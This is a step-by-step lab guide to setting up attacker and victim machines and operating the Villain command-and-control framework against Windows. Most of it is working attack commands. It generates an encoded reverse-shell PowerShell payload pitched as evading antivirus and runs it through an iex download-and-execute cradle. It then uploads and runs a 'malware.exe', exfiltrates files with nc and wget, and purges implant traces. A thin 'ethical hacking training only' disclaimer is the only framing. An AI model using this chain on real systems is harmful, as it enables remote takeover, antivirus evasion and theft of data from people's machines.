- VirtualBox installed on Host (Windows or Linux)
- Kali Linux VM installed
- VirtualBox Extension Pack (optional but recommended)
- Administrator access on both host and guest
- Mobile hotspot capability for simulation1. Open VirtualBox Manager
2. Select your Kali Linux VM → Click Settings
3. Go to the Network tab
4. Enable Adapter 2:
- Enable Network Adapter (checked)
- Attached to: Host-Only Adapter
5. Select the host-only network (e.g., VirtualBox Host-Only Ethernet Adapter)ipconfigip a✅ You should see a new interface like
eth1orenp0s8(depending on VirtualBox config)
Example:
- Windows Host IP: 192.168.56.1
- Kali VM IP: 192.168.56.101Make sure both IPs fall within the same subnet range like
192.168.56.0/24
ping 192.168.56.101ping 192.168.56.1✔ If both are reachable, host-only networking is correctly configured.
Simulate real-world payload delivery by connecting two physical PCs (Attacker and Victim) over a common mobile hotspot.
1. Turn on mobile hotspot on your smartphone
2. Connect both Attacker and Victim laptops to the hotspot
3. Use terminal or CLI to verify both systems are in the same subnet# Windows
ipconfig
# Linux/Kali
ifconfig- Attacker IP: 192.168.43.120
- Victim IP: 192.168.43.101✅ Same subnet confirmed
Use this guide for setting up practical labs or red team exercises. For ethical hacking training only. Contact your admin before using in any production or personal environment.
-
Update & upgrade:
sudo apt update && sudo apt upgrade -y -
Clone Villain:
git clone https://github.com/keralahacker/Villain.git cd VillainIf GitHub is blocked (e.g. college Wi‑Fi), use a VPN or your phone’s hotspot.
-
Install Python deps:
python3 -m venv venv source venv/bin/activate pip3 install -r requirements.txtsudo pip3 install -r requirements.txt --break-system-packages
If it fails, skip to next step.
-
Start Villain:
python3 Villain.py
You’ll see the
villain>prompt.
villain> generate payload=<OS/handler/template> lhost=<YOUR_IP_or_interface> [encode|obfuscate]
| Element | Meaning | Example |
|---|---|---|
OS |
Target OS family | windows |
handler |
Connection type | reverse_tcp (stable) |
template |
Payload script | powershell |
lhost |
Your Kali IP or interface | 192.168.56.10 or eth0 |
[encode] |
Simple Base64-style encoding | optional (helps evade AV) |
[obfuscate] |
String-twisting for stealth | optional |
Example:
villain> generate payload=windows/reverse_tcp/powershell lhost=192.168.56.10 encodeThis writes payload.ps1 for the Windows VM.
-
On Kali, serve it over HTTP:
cp Core/payloads/windows/reverse_tcp/powershell.ps1 ~/payload.ps1 cd ~ python3 -m http.server 8000
-
On Windows 10 (PowerShell as Admin):
iex (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8000/payload.ps1')
This runs the reverse shell back to Kali.
-
List sessions:
villain> sessions -
Enter the shell:
villain> shell <SESSION_ID>
You get a
PS C:\>prompt. Useexitor Ctrl+C to return.
villain> upload <local_path_on_kali> <remote_path_on_windows>
-
Example:
villain> upload /home/kali/tools/malware.exe C:\Users\Public\malware.exe
-
Then inside your shell:
PS C:\> & 'C:\Users\Public\malware.exe'
Villain has no built-in “download,” but you can exfiltrate:
-
On Kali, listen:
nc -lvp 9001 > secret.txt -
In Windows shell:
PS C:\> nc 192.168.56.10 9001 < C:\Users\Public\secret.txt
Alternatively, spin up an HTTP server on Windows:
PS C:\Users\Public> python3 -m http.server 8000Then on Kali:
wget http://192.168.56.20:8000/secret.txt -O secret.txt-
flee: Exit without killing sessions:
villain> flee -
purge: Wipe saved implant metadata:
villain> purge
Pro Tips:
- Verify your lhost and subnet before generating.
- Use
backdoorsto list re-usable payloads. - Keep Kali’s firewall off on the lab network.
You can send a chat message to all connected sibling servers by prefixing with #:
villain> # Hey team, switch to backup C2 channelThat’s the full lab: network setup, payload gen, shell, file IO, and messaging. Enjoy your ethical testing!